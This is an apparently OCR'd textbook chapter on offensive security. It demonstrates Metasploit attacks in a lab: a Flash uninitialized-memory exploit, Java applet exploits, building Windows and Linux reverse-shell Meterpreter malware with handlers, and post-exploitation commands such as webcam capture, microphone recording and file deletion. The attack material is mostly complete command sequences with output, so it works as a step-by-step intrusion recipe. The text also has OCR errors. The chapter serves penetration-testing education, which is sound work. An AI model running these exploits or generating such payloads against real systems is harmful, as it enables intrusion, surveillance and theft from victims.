CVE 2015-5122
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¢ Windows 7 (including SP1) or Windows 8.1 (not Windows 8), 32-bit
¢ Internet Explorer or Firefox

o Adobe Flash Player 18 up to 18.0.0.203

Attack: Adobe Flash Player UncompressViaZlibVariant
Uninitialized Memory

As an example of an Adobe Flash Player exploit, consider Adobe Flash Player
UncompressViaZlibVariant Uninitialized Memory. For the target, use a 32-bit Windows 8.1
system with Firefox 38.0.5 and Adobe Flash Player 15.0.0.189.

Configuring the Exploit

On the Kali system, start Metasploit and load the exploit.

msf > use exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized
msf exploit(adobe flash uncompress zlib uninitialized) > info

Name: Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory
Module: exploit/windows/browser/adobe flash_uncompress_zlib uninitialized
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2014-11-11

... Output Deleted ...

Available targets:
Id Name

0 Automatic

Basic options:

Name Current Setting Required Description

Retries true no Allow the browser to retry the module

SRVHOST 0.0.0.0 yes The local host to listen on. This must
be an address on the local machine or
0.0.0.0

SRVPORT 8080 yes The local port to listen on.
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SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate
(default is randomly generated)

URIPATH no The URI to use for this exploit

(default is random)
Payload information:

Description:
This module exploits an unintialized memory vulnerability in Adobe
Flash Player. The vulnerability occurs in the
ByteArray::UncompressViaZlibVariant method, which fails to
initialize allocated memory. When using a correct memory layout this
vulnerability leads to a ByteArray object corruption, which can be
abused to access and corrupt memory. This module has been tested
successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash
15.0.0.189.

Like most Adobe Flash exploits, this exploit uses automatic targeting, so there is no need to
change the target from the default. Set the URIPATH to something innocuous, say bob.

msf exploit(adobe flash uncompress zlib uninitialized) > set uripath bob
uripath => bob

Configuring the Payload
A reasonable payload is Meterpreter using a reverse TCP connection.

msf exploit(adobe flash_uncompress zlib uninitialized) > set payload windows/
meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

The only option that needs to be configured on the payload is the IP address; by default, the
exploit uses TCP/4444 for the listening port.

msf exploit(adobe flash_uncompress zlib uninitialized) > set lhost 10.0.2.2
lhost => 10.0.2.2
msf exploit(adobe flash_uncompress zlib uninitialized) > show options
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Module options (exploit/windows/browser/adobe flash uncompress zlib_
uninitialized):

Name Current Setting Required Description

Retries true no Allow the browser to retry the module

SRVHOST 0.0.0.0 yes The local host to listen on. This must
be an address on the local machine or
0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate
(default is randomly generated)

URIPATH bob no The URI to use for this exploit

(default is random)

Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST 10.0.2.2 yes The listen address

LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Automatic

Launching the Exploit as a Background Job

The exploit is launched as a background job in the same way as the MS13-055 attack.

msf exploit(adobe flash uncompress z1ib uninitialized) > exploit -j
[*] Exploit running as background job.

msf exploit(adobe flash_uncompress zlib uninitialized) > [*] Started reverse TCP
handler on 10.0.2.2:4444

[*] Using URL: http://0.0.0.0:8080/bob

[*] Local IP: http://10.0.2.2:8080/bob

[*] Server started.
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Interacting with the Shell

When Firefox 38.0.5 in Windows 8.1 is used to browse to the URL hosting the malicious code
(in this example http://10.0.2.2:8080/bob), the attacker is presented with a session.

[*] Server started.

[*] 10.0.15.207 adobe_flash _uncompress z1lib uninitialized
- Gathering target information for 10.0.15.207

[*] 10.0.15.207 adobe_flash_uncompress zlib uninitialized
- Sending HTML response to 10.0.15.207

[*] 10.0.15.207 adobe_flash uncompress z1lib uninitialized
- Request: /bob/BVnSrk/

[*] 10.0.15.207 adobe_flash _uncompress z1lib uninitialized
- Sending HTML.

[*] 10.0.15.207 adobe_flash_uncompress z1lib uninitialized
- Request: /bob/BVnSrk/neFVG.swf

[*] 10.0.15.207 adobe_flash uncompress z1lib uninitialized
- Sending SWF.

[*] Sending stage (957487 bytes) to 10.0.15.207

[*] Meterpreter session 1 opened (10.0.2.2:4444 -> 10.0.15.207:49195) at 2017-02-

12 21:16:03 -0500
msf exploit(adobe flash uncompress z1lib uninitialized) > sessions -1

Active sessions

Id Type Information Connection

1  meterpreter x86/windows giclas\Stefan Banach @ GICLAS 10.0.2.2:4444
-> 10.0.15.207:49195 (10.0.15.207)

msf exploit(adobe flash uncompress zlib uninitialized) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo

Computer : GICLAS

0S : Windows 8.1 (Build 9600).
Architecture : x86

System Language : en_US

Meterpreter : x86/windows

meterpreter > getuid
Server username: giclas\Stefan Banach
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Metasploit: Attacking Java

Many older exploits for Internet Explorer, Firefox, and Flash require the presence of Java on
the target system. The primary reason for this is the need for a ROP chain. Since many modern
computers prevent the attacker from executing code that the attacker has placed on the stack,
attackers turned to the idea of using already present pieces of code loaded at known addresses.
By carefully jumping from one piece of existing code to another, attackers can control program
execution and so exploit the system. One common program with libraries loaded at known
locations is Java 6, which is why it is required for some of the older exploits.

Java is a legitimate target on its own and can be attacked directly. One nice feature about
Java attacks is that thanks to the JVM, most (though not all) are agnostic about the underlying
platform. They (usually) work against both Windows and Linux targets and are independent of
the underlying browser.

Metasploit Modules for Java

Effective Metasploit modules for Java include the following:
e Java Applet Rhino Script Engine Remote Code Execution
o exploit/multi/browser/java_rhino
e (CVE2011-3544
e Java 6 Update 27 and earlier; Java 7 (no updates)
e Java AtomicReferenceArray Type Violation Vulnerability
o exploit/multi/browser/java_atomicreferencearray
¢ CVE2012-0507
e Java 6 Update 30 and earlier; Java 7 Update 2 and earlier
e Java Applet Field Bytecode Verifier Cache Remote Code Execution
o exploit/multi/browser/java verifier field access
¢ (CVE2012-1723
o Java 6 Update 32 and earlier; Java 7 Update 4 and earlier
e Java 7 Applet Remote Code Execution
o exploit/multi/browser/java_jrel7_exec
o (CVE2012-4681

e Java 7 Update 6 and earlier
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e Java Applet JAX-WS Remote Code Execution
o exploit/multi/browser/java_jrel7_ jaxws
e (CVE2012-5076
e Java 7 Update 7 and earlier
e Java Applet AverageRangeStatisticlmpl Remote Code Execution

o exploit/multi/browser/java_jre17 glassfish_
averagerangestatisticimpl

o (CVE2012-5076
e Java 7 Update 7 and earlier
e Java Applet Method Handle Remote Code Execution
o exploit/multi/browser/java_jre17 method handle
e CVE2012-5088
e Java 7 Update 7 and earlier.
e Java Applet JMX Remote Code Execution
o exploit/multi/browser/java_jre17_jmxbean
o CVE2013-0422
e Java 7 Update 10 and earlier
¢ Java Applet JMX Remote Code Execution®
o exploit/multi/browser/java_jre1l7_jmxbean_ 2
o (CVE2013-0431
e Java 7 Update 11 and earlier
e Java CMM Remote Code Execution
o exploit/windows/browser/java_cmm

o (CVE2013-1493

Java 7 Update 15 and earlier

¢ Requires Windows 7, 8, 8.1, or 10.

*Yes, this is the same name as the previous module.
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e Java Applet Driver Manager Privileged toString() Remote Code Execution

exploit/multi/browser/java_jrel7 driver manager
CVE 2013-1488

Java 7 Update 17 and earlier

o Java Applet Reflection Type Confusion Remote Code Execution

exploit/multi/browser/java_jrel7 reflection_types
CVE 2013-2423

Java 7 Update 17 and earlier

e Java Applet ProviderSkeleton Insecure Invoke Method

exploit/multi/browser/java_jrel7 provider skeleton
CVE 2013-2460

Java 7 Update 21 and earlier

o Java storelmageArray() Invalid Array Indexing Vulnerability

Attack:

exploit/multi/browser/java_storeimagearray
CVE 2013-2465

Java 7 Update 21 and earlier

Java JAX-WS Remote Code Execution

Attacks on Java follow the same structure seen for attacks on browsers and Adobe Flash Player.

This example attacks a Mint 13 system running Firefox 12.0 with Java 7 Update 5 with the Java
Applet JAX-WS Remote Code Execution attack.

Configuring the Exploit

Start both Mint 13 and Kali; on the Kali system, start msfconsole, select the appropriate attack,

and use info to see the module details.

mst > use exploit/multi/browser/java_jrel7_jaxws

msf exploit

Name:
Module:
Platform:
Privileged:
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License: Metasploit Framework License (BSD)

Rank: Excellent
Disclosed: 2012-10-16

... Output Deleted ...

Available targets:
Id Name
Generic (Java Payload)
Windows Universal
Linux x86

Basic options:
Name Current Setting Required

SRVHOST 0.0.0.0 yes
SRVPORT 8080 yes
SSL false no
SSLCert no
URIPATH no
Payload information:

Space: 20480

Avoid: 0 characters
Description:

Description

BASIC OFFENSE

The local host to listen on. This must
be an address on the local machine or

0.0.0.0
The local port to listen on.

Negotiate SSL for incoming connections

Path to a custom SSL certificate
(default is randomly generated)

The URI to use for this exploit
(default is random)

This module abuses the JAX-WS classes from a Java Applet to run
arbitrary Java code outside of the sandbox as exploited in the wild
in November of 2012. The vulnerability affects Java version 7u7 and

earlier.

... Output Deleted ...

There are three choices for the target, including a Windows target and a Linux target. The

default Java target has the advantage that it is independent of the target architecture and would

work even if a Windows system running an exploitable Java version connected.
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Configuring the Payload
Fewer payloads are available that use the Java target.
msf exploit(java_jrei7 jaxws) > show payloads

Compatible Payloads

Name Rank Description

generic/custom normal Custom Payload

generic/shell bind_tcp normal Generic Command Shell, Bind TCP
Inline

generic/shell reverse tcp normal Generic Command Shell, Reverse TCP
Inline

java/jsp_shell bind tcp normal Java JSP Command Shell, Bind TCP
Inline

java/jsp_shell reverse tcp normal Java ISP Command Shell, Reverse TCP
Inline

java/meterpreter/bind tcp normal Java Meterpreter, Java Bind TCP
Stager

java/meterpreter/reverse http normal 3Java Meterpreter, Java Reverse HTTP
Stager

java/meterpreter/reverse_https normal Java Meterpreter, Java Reverse
HTTPS Stager
java/meterpreter/reverse tcp normal Java Meterpreter, Java Reverse TCP

Stager

java/shell/bind_tcp normal Command Shell, Java Bind TCP Stager

java/shell/reverse tcp normal Command Shell, Java Reverse TCP
Stager

java/shell reverse tcp normal Java Command Shell, Reverse TCP
Inline

Select the Meterpreter payload that communicates through reverse HTTPS, set the listening
port to 443 and the IP address of the listener to the address of the Kali system.

msf exploit(java_jrei7 jaxws) > set payload java/meterpreter/reverse_https
payload => java/meterpreter/reverse https

msf exploit(java_jre17_jaxws) > set lport 443

lport => 443

msf exploit(java_jre17 jaxws) > set lhost 10.0.2.2

lhost => 10.0.2.2
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msf exploit(java_jre1l7 jaxws) > set uripath bob
uripath => bob
msf exploit(java_jre17_jaxws) > show options

Module options (exploit/multi/browser/java_jrel7 jaxws):

Name Current Setting Required Description

SRVHOST 0.0.0.0 yes The local host to listen on. This must
be an address on the local machine or
0.0.0.0

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL for incoming connections

SSLCert no Path to a custom SSL certificate
(default is randomly generated)

URIPATH bob no The URI to use for this exploit

(default is random)
Payload options (java/meterpreter/reverse https):

Name Current Setting Required Description

LHOST 10.0.2.2 yes The local listener hostname
LPORT 443 yes The local listener port
LURI no The HTTP Path

Exploit target:

Id Name

0 Generic (Java Payload)

Launching the Exploit as a Background Job

With the options validated, start the exploit as a background job.

msf exploit(java_jre17 jaxws) > exploit -j

[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://10.0.2.2:443
msf exploit(java_jre1l7_ jaxws) >

] Using URL: http://0.0.0.0:8080/bob

] Local IP: http://10.0.2.2:8080/bob

*] Server started..

*
*

[
[
[
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Interacting with the Shell

From the Mint system, visit the malicious page, located in this example at
http://10.0.2.2:8080/bob. Firefox on the Mint system shows nothing other than a blank page.
On the Kali system, msfconsole reports that a session has been obtained. The attacker interacts
with a Java Meterpreter session in essentially the same way as a native Meterpreter session.

[*] 10.0.2.24 java_jre17 jaxws - Java Applet JAX-WS Remote Code Execution
handling request

[*] 10.0.2.24 java_jre17 jaxws - Sending Applet.jar

[*] 10.0.2.24 java_jre17_jaxws - Sending Applet.jar

[*] 10.0.2.24 java_jre17 jaxws - Sending Applet.jar

[*] https://10.0.2.2:443 handling request from 10.0.2.24; (UUID: abhkmllo) Staging
java payload (50177 bytes) ...

[*] Meterpreter session 1 opened (10.0.2.2:443 -> 10.0.2.24:33049) at 2017-02-12
22:32:06 -0500

msf exploit(java_jrel7 jaxws) > sessions -1

Active sessions

Id Type Information Connection

1 meterpreter java/linux pdirichlet @ acrux.stars.example 10.0.2.2:443 ->
10.0.2.24:33049 (10.0.2.24)

msf exploit(java_jre17_jaxws) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo

Computer : acrux.stars.example

0S : Linux 3.2.0-23-generic (i386)
Meterpreter : java/linux

meterpreter > getuid

Server username: pdirichlet

meterpreter >

Background session 1? [y/N] y

msf exploit(java_jre17 jaxws) >

92



CHAPTER 2  BASIC OFFENSE

Attack: Java Applet ProviderSkeleton Insecure Invoke
Method

The years 2012 and 2013 saw many attacks against Java; Oracle responded by dramatically
tightening the security settings for Java. Beginning with Java 7 Update 10, Java applets not signed
by a trusted Certificate Authority either would not run or would not run without explicit user
approval. These defenses make this type of exploit more difficult but not impossible. Further, later
browsers began detecting insecure versions of plugins and disabling them (Figure 2-1).

| 1 |
J & Add-ons Manager x -\_+
& Firefox  about:addons C || Q Search ﬁ B U 4+ A& © —
3 Searc »
h if your plugins ar
i Get Addoons . OpenH264 Video Codec provided by Cisco Systems, Inc. 1.5.3
Play back web video and use video chats. More Options Always Activate v
* Extensions A Primetime Content Decryption Module provided by Adobe Systems, Incorporated will be installed

= shortly.

A Appearance . Primetime Content Decryption Module provided by Adobe Systems,...

Play back protected web video. More Options Always Activate v
. Plugins A Shockwave Flash is known to be vulnerable and should be updated. Update Now
5 i Shockwave Flash 15.0.0.189
"';'/'-"J Services Shockwave Flash 1500 Mare Options Ask to Activate v

A Java(TM) Platform SE 7 U2 is known to be vulnerable and should be updated. Update Now
. Java(TM) Platform SE 7 U2 10.2.0.13 (disabled)

Mozilla browsers More Never Activate v

Figure 2-1. Firefox 38.0.5 on Windows 8.1 showing how vulnerable add-ons are detected

Configuring the Exploit and Payload

This example demonstrates the Java Applet ProviderSkeleton Insecure Invoke Method attack
against a Windows 8 system running Internet Explorer 10 and Java 7 Update 21. Start the
Windows system and the Kali system, run msfconsole, and configure the exploit.

mst > use exploit/multi/browser/java_jrei7_provider_skeleton

msf exploit(java_jrei7 provider skeleton) > set uripath bob

uripath => bob

msf exploit(java_jre17 provider skeleton) > set payload java/meterpreter/reverse_
https

payload => java/meterpreter/reverse https
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msf exploit(java_jrei7 provider skeleton) > set lhost 10.0.2.2
lhost => 10.0.2.2

msf exploit(java_jre17 provider_ skeleton) > set lport 443
lport => 443

msf exploit(java_jrel7 provider skeleton) > exploit -j

[*] Exploit running as background job.

msf exploit(java_jrei7 provider skeleton) >

[*] Started HTTPS reverse handler on https://10.0.2.2:443
[*] Using URL: http://0.0.0.0:8080/bob

[*] Local IP: http://10.0.2.2:8080/bob

[*] Server started.

Java Security Settings

If an Internet Explorer user on the Windows 8 system visits the page hosting the malicious code,
they immediately receive a dialog box informing them that the current version of Java is insecure.
Only by promising to update Java later is the user permitted to proceed. This, of course, assumes
that the user first agreed to enable Java for Internet Explorer after it was installed (Figure 2-2).

Qj Your Java version is insecure.
:

|'® Update (recommended)
E Get the recommended secure version of Java now from java.com.

2 Block

Block Java content from running in this browser session.

2 Later
Continue and you will be reminded to update again later.

[] Do not ask again until the next update is available.

Figure 2-2. Internet Explorer 10 notification that the user is using an out-of-date version
of Java; taken from Windows 8

The malicious Java applet is then downloaded, but the browser will not run it; instead it
informs the user that the application was blocked by security settings on the system. This dialog
box does not even provide a bypass option. To proceed, the user must first visit the Java Control
Panel, available from the Windows Control Panel, under the Programs group. The security level
must be set to Medium, which allows unsigned applets to run (Figure 2-3).
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| General | Update | Java [Secirity] Advanced|
[¥] Enable Java content in the browser

Security Level

ﬂ Very High

[ Medium
Least secure mode - All Java programs can be executed

| Manage Certificates... |

(o | [Lcmod ] [ aony

Figure 2-3. The Java Control Panel on Windows 8

BASIC OFFENSE

Once this change is made and the web page reloads, another security warning is provided to
the user stating that they are using an insecure version of Java that is trying to run an unsigned

applet (Figure 2-4).

Do you want to run this application ?

iz Your version of Java is insecure and an unsigned application
\ ' from the location below is requesting permission to run.
.

Location: http://10.0.2.2:8080/bob/

Running this application may be a security risk

Select the box below, then dlick run to start the application
K ocar ek e et b e s

E. gm.u||.pdau || cancel

[0 nat show this again for this app

Figure 2-4. Java Security Warning from Windows 8

95



CHAPTER 2  BASIC OFFENSE

Only after manually checking the accept box will the option to run the applet be given. Once
the user presses run though, the malicious code is launched, and the attacker gains a shell on the
target.

[*] 10.0.15.208 java_jre17 provider_ skeleton - handling request for /bob
[*] 10.0.15.208 java_jre17 provider skeleton - handling request for /bob/
[*] 10.0.15.208 java_jre17 provider skeleton - handling request for /bob/
UzZM. jar
[*] 10.0.15.208 java_jre17 provider skeleton - handling request for /bob/
UzZM. jar

[*] https://10.0.2.2:443 handling request from 10.0.15.208; (UUID: 5xicubih)
Staging java payload (50177 bytes) ...

[*] Meterpreter session 1 opened (10.0.2.2:443 -> 10.0.15.208:49190) at 2017-02-14
20:04:44 -0500

Malware

As attacks against browsers and active content have become more common, software writers have
responded by improving their code and their designs. The difficulty in attacking later versions of
Java 7 is representative. No attacks have been discussed that target Java 8 (released in March 2014)
or the Microsoft Edge browser (included in Windows 10 and released in July 2015).

Faced with these defenses, an attacker can turn to another weak point in the system - the
user. An attacker that can convince a user to run software can use this as their initial vector into
the system. Metasploit can be used to generate simple malware that provides an attacker a shell.

Malware Attack: Windows Executable

As an example of the process, suppose the attacker’s target is a 64-bit Windows 10 system, say
Windows 10-1607.

Configuring the Malware

To generate the malware, the attacker starts Metasploit, but instead of running the use
command with an exploit, they instead run the use command with a payload. Since the target
is a 64-bit Windows system, a natural payload is a 64-bit Meterpreter using reverse HTTPS for
communication.

mst > use windows/x64/meterpreter/reverse_https
msf payload(reverse https) > options

Module options (payload/windows/x64/meterpreter/reverse https):
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Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST yes The local listener hostname

LPORT 8443 yes The local listener port

LURI no The HTTP Path

The attacker then specifies the listening host and updates the listening port if desired.

msf payload(reverse https) > set lhost 10.0.2.2
lhost => 10.0.2.2

Generating the Malware

To create the malware, the attacker uses the generate command. Running generate with the -h
flag shows the available options.®

msf payload(reverse https) > generate -h
Usage: generate [options]

Generates a payload.
OPTIONS:

-E Force encoding.

-b <opt> The list of characters to avoid: '\x00\xff'
-e <opt> The name of the encoder module to use.

-f <opt> The output file name (otherwise stdout)

-h Help banner.
-i <opt> the number of encoding iterations.
-k Keep the template executable functional

-0 <opt> A comma separated list of options in VAR=VAL format.

-p <opt> The Platform for output.

-s <opt> NOP sled length.

-t <opt> The output format: bash,c,csharp,dw,dword,hex,java,js be,js le,
num,perl,pl,powershell,psi,py,python,raw,rb,ruby,sh,vbapplication,
vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,
exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,
osx-app,psh,psh-cmd, psh-net,psh-reflection,vba,vba-exe,vba-psh,
vbs,war

-x <opt> The executable template to use

fMetasploit 5 was released in January 2019, and has changed the flags used by the generate function.
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An attacker that wants to generate malware for a Windows system specifies the platform as
windows, the output format as exe, and selects a file name.

msf payload(reverse https) > generate -p windows -t exe -f windows_https_8443.exe
[*] Writing 7168 bytes to windows https 8443.exe...

Handlers

Before the malware can be used, the attacker needs to set up a handler. When run, the malware
will call back to the specified host (10.0.2.2 in this example). If that system is not ready to receive
the callback, in the best-case scenario the malware will fail to run.

To set up the handler, the attacker uses the module exploit/multi/handler, then configures
it with the payload it is designed to handle.

msf payload(reverse_https) > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https

msf exploit(handler) > set lhost 10.0.2.2

lhost => 10.0.2.2

msf exploit(handler) > options

Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/x64/meterpreter/reverse https):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh,
thread, process, none)

LHOST 10.0.2.2 yes The local listener hostname

LPORT 8443 yes The local listener port

LURI no The HTTP Path

Exploit target:

Id Name

0 Wildcard Target
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If the attacker wants to be able to use the handler to respond to multiple requests, the option
ExitOnSession should be set to false.

msf exploit(handler) > set exitonsession false
exitonsession => false

Launching the Exploit as a Background Job

The attacker then runs this exploit as a background job.

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://10.0.2.2:8443
[*] Starting the payload handler...

msf exploit(handler) >

The to_handler Command

As an alternative to manually configuring a handler and launching it, an attacker can use the
command to_handler. This creates a background handler for the currently configured payload
and launches it as a background job. The option ExitOnSession is set to true by default.

msf payload(windows/x64/meterpreter/reverse_https) > to_handler
[*] Payload Handler Started as Job 0

Interacting with the Shell

In either case, when the target runs the malware, it calls back to the attacker who is presented
with a shell.

msf exploit(handler) >

[*] https://10.0.2.2:8443 handling request from 10.0.15.203; (UUID: Osvpg3gv)
Staging x64 payload (1190467 bytes) ...

[*] Meterpreter session 1 opened (10.0.2.2:8443 -> 10.0.15.203:60441) at 2017-04-
28 20:09:58 -0400

msf exploit(handler) > sessions -1
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Active sessions

Id Type Information Connection

1  meterpreter x64/windows PLUTO\jhaydn @ CORADINI 10.0.2.2:8443 ->
10.0.15.203:58225 (10.0.15.203)

Malware Attack: Linux ELF

Suppose that the target of the attack is not a Windows system, but instead a 32-bit Linux system.
The process of generating the malware follows the same basic lines. First, the attacker selects an
appropriate payload, say a 32-bit Meterpreter for Linux.

mst > use payload/linux/x86/meterpreter/reverse_tcp

The options need to be set; in this case the only needed option is the address of the listening
host that will receive the callback.

msf payload(reverse_tcp) > options
Module options (payload/linux/x86/meterpreter/reverse tcp):

Name  Current Setting Required Description
LHOST yes The listen address
LPORT 4444 yes The listen port

msf payload(reverse tcp) > set lhost 10.0.2.2
lhost => 10.0.2.2

The attacker then creates the malware. To create an executable that will run on a Linux
system, the attacker specifies elf as the file type.

msf payload(reverse tcp) > generate -t elf -f linux_malware.exe
[*] Writing 183 bytes to linux_malware.exe...

To prepare the handler that will receive the callback, the attacker uses exploit/multi/
handler choosing the same payload and the same options as the malware.

msf payload(reverse tcp) > use exploit/multi/handler

msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse tcp

msf exploit(handler) > set lhost 10.0.2.2

lhost => 10.0.2.2
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msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 10.0.2.2:4444
msf exploit(handler) >

The attacker could also use the to_handler command.
When the malware is run on a remote system, the attacker receives a shell.

[*] Sending stage (826840 bytes) to 10.0.3.43
[*] Meterpreter session 1 opened (10.0.2.2:4444 -> 10.0.3.43:52413) at 2017-08-20
17:51:40 -0400

Metasploit and Meterpreter Commands

Metasploit and Meterpreter both feature a full range of commands.

Metasploit

Metasploit is used to manage exploits and sessions.

Help

Although the msfconsole program is a purely command-line driven program, significant effort
has been expended to make it easier to use. It uses full tab completion, so partially remembered
exploit or option names can be found with a few presses of the tab key.

It provides a help system via the help command.

msf exploit(handler) > help

Core Commands

Command Description

? Help menu

banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color

connect Communicate with a host

exit Exit the console

. Output Deleted ...
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Detailed help on any command is available by prepending help to the name of the command.

msf exploit(handler) > help exploit
Usage: exploit [options]

Launches an exploitation attempt.

OPTIONS:
-e <opt> The payload encoder to use. If none is specified, ENCODER is
used.
-f Force the exploit to run regardless of the value of
MinimumRank.
-h Help banner.
-3 Run in the context of a job.

-n <opt> The NOP generator to use. If none is specified, NOP is used.
-0 <opt> A comma separated list of options in VAR=VAL format.

-p <opt> The payload to use. If none is specified, PAYLOAD is used.

-t <opt> The target index to use. If none is specified, TARGET is used.
-z Do not interact with the session after successful exploitation.

Managing Sessions

Metasploit can handle multiple attacks and run multiple sessions at the same time. For example,
suppose that the attacker from the previous section who has successfully exploited a Windows 10
system also configures the Java Applet ProviderSkeleton Insecure Invoke Method, and a Windows 8
host visits the page hosting the attack; then the attacker will obtain a session on the second system.

msf exploit(java_jrel7 provider skeleton) >
[*] Using URL: http://0.0.0.0:8080/bob
[*] Local IP: http://10.0.2.2:8080/bob
[*] Server started.
[*]
[*]

*] 10.0.15.208 java_jre17 provider skeleton - handling request for /bob/

*] 10.0.15.208 java_jre17 provider skeleton - handling request for /bob/
PQTDaP. jar

[*] 10.0.15.208 java_jre17 provider_ skeleton - handling request for /bob/
PQTDaP. jar

[*] https://10.0.2.2:443 handling request from 10.0.15.208; (UUID: xdOwxlpf)
Staging java payload (50177 bytes) ...

[*] Meterpreter session 2 opened (10.0.2.2:443 -> 10.0.15.208:49567) at 2017-04-28
20:35:39 -0400
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To list all currently sessions, run the command
msf exploit(java_jre17 provider skeleton) > sessions -1

Active sessions

Id Type Information Connection

1  meterpreter x64/windows  PLUTO\jhaydn @ CORADINI 10.0.2.2:8443 ->
10.0.15.203:60463 (10.0.15.203)

2 meterpreter java/windows hberlioz @ harrington 10.0.2.2:443 ->
10.0.15.208:49567 (10.0.15.208)

Managing Jobs

To manage the different running jobs, use the jobs command. With the -1 switch, it lists the
currently running background jobs.

msf exploit(java_jre17 provider skeleton) > jobs -1

Jobs

Id Name Payload Payload opts

0 Exploit: multi/handler
windows/x64/meterpreter/reverse https https://10.0.2.2:8443
1  Exploit: multi/browser/java_jre1l7 provider skeleton
java/meterpreter/reverse_https https://10.0.2.2:443

A job can be terminated with the -k switch; this frees up any resources (e.g., URI, listening
ports) from that job. If the -K switch is used, all current jobs are terminated.

Commands

Commands that are not interpreted by msfconsole directly are passed to the underlying shell for
execution. For example, the command ifconfig provides its results directly from the Kali system
on which msfconsole is running.
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msf exploit(java_jre17 provider skeleton) > ifconfig
[*] exec: ifconfig

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.2 netmask 255.255.0.0 broadcast 10.0.255.255
inet6 fe80::a00:27ff:fecl:cf15 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:c1:cf:15 txqueuelen 1000 (Ethernet)
RX packets 107059 bytes 150422113 (143.4 MiB)
RX errors 0 dropped 0 overruns 0 frame O
TX packets 21200 bytes 3880990 (3.7 MiB)
TX errors 0 dropped O overruns O carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1 (Local Loopback)
RX packets 331970 bytes 74536785 (71.0 MiB)
RX errors 0 dropped 0 overruns O frame O
TX packets 331970 bytes 74536785 (71.0 MiB)
TX errors 0 dropped O overruns O carrier 0 collisions 0

Meterpreter

Many of the attacks discussed so far use Meterpreter as the preferred payload; this is because of
its rich internal command set.

Networking

For example, once a Meterpreter session is established on a remote target, the ipconfig
command and the route command provide information on the status of the target’s various
network.

msf exploit(java_jrel7 provider skeleton) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ipconfig

Interface 1

Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU 1 4294967295

IPv4 Address : 127.0.0.1
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IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

Interface 4

Name

MTU

IPv6 Address :
IPv6 Netmask :

Interface 5

Name

MTU

IPv6 Netmask :

255.0.0.0
--1

00:00:00:00:00:00

: Microsoft ISATAP Adapter
Hardware MAC :
: 1280
fe80::5efe:a00:fcb

FFEFFEFEFREFFFEF AR FREFFEFFFFFF

FEEEFFFE FAFE FEFF FEFF FRFF FFAFFFEF

08:00:27:e4:23:e4

: 1500
IPv4 Address :
IPv4 Netmask :
IPv6 Address :

10.0.15.203
255.255.0.0

: Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC :

fe80::fc8c:2219:45e0:d6eb
fff fHff fEFfFFFf:

meterpreter > route

IPv4 network routes

Subnet Netmask
0.0.0.0 0.0.0.0
10.0.0.0 255.255
10.0.15.203 255.255
10.0.255.255 255.255
127.0.0.0 255.0.0
127.0.0.1 255.255
127.255.255.255 255.255
224.0.0.0 240.0.0
224.0.0.0 240.0.0.
255.255.255.255 255.255.
255.255.255.255 255.255.
No IPv6 routes were found.

.0.0
.255.
.255.

.255.

.255.

255.
255.

255
255

255

255

255
255

Gateway
10.0.0.1
10.0.15.
10.0.15.203
10.0.15.203
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
10.0.15.203
127.0.0.1
10.0.15.203

203

Metric

CHAPTER 2

Interface

vi B U1 R R R R U1 U1

BASIC OFFENSE

105



CHAPTER 2  BASIC OFFENSE

Screenshots, Cameras, and Microphones

There are additional options available to an attacker running Meterpreter running natively on a
Windows system. The time the system has been idle can be found with the command idletime,
while screenshot returns an image of the target’s screen. The command webcam_1list provides a
list of the available web cameras on the system, and if any are available they can be used to take
pictures with webcam_snap. If a microphone is present on the target, it can be used to make audio
recordings with record mic.

To obtain help on these, or any other Meterpreter command, run the command with the
-h switch. Some, but not necessarily all, of these features are available on other versions of
Meterpreter, like the Java Meterpreter or the native Linux Meterpreter.

File System

Meterpreter can be used to interact with the file system. The pwd command shows the current
directory on the target, while 1s lists the files in that directory.

meterpreter > pwd
C:\Users\jhaydn\Desktop
meterpreter > 1s

Listing: C:\Users\jhaydn\Desktop

Mode Size Type Last modified Name
40777/ TWXIWXIWX O dir  2017-03-19 23:01:42 -0400 Tools
100666/rw-Tw-TW- 282 fil  2017-03-18 22:48:53 -0400 desktop.ini

100777/1wxrwxrwx 1040528 fil  2017-04-18 23:09:44 -0400 vs_Community.exe
100777/YWXTWXTWX 7168 fil  2017-04-23 19:58:57 -0400 windows_https_8443.exe

The cd command is used to change directories, while rmis used to delete files from the target.
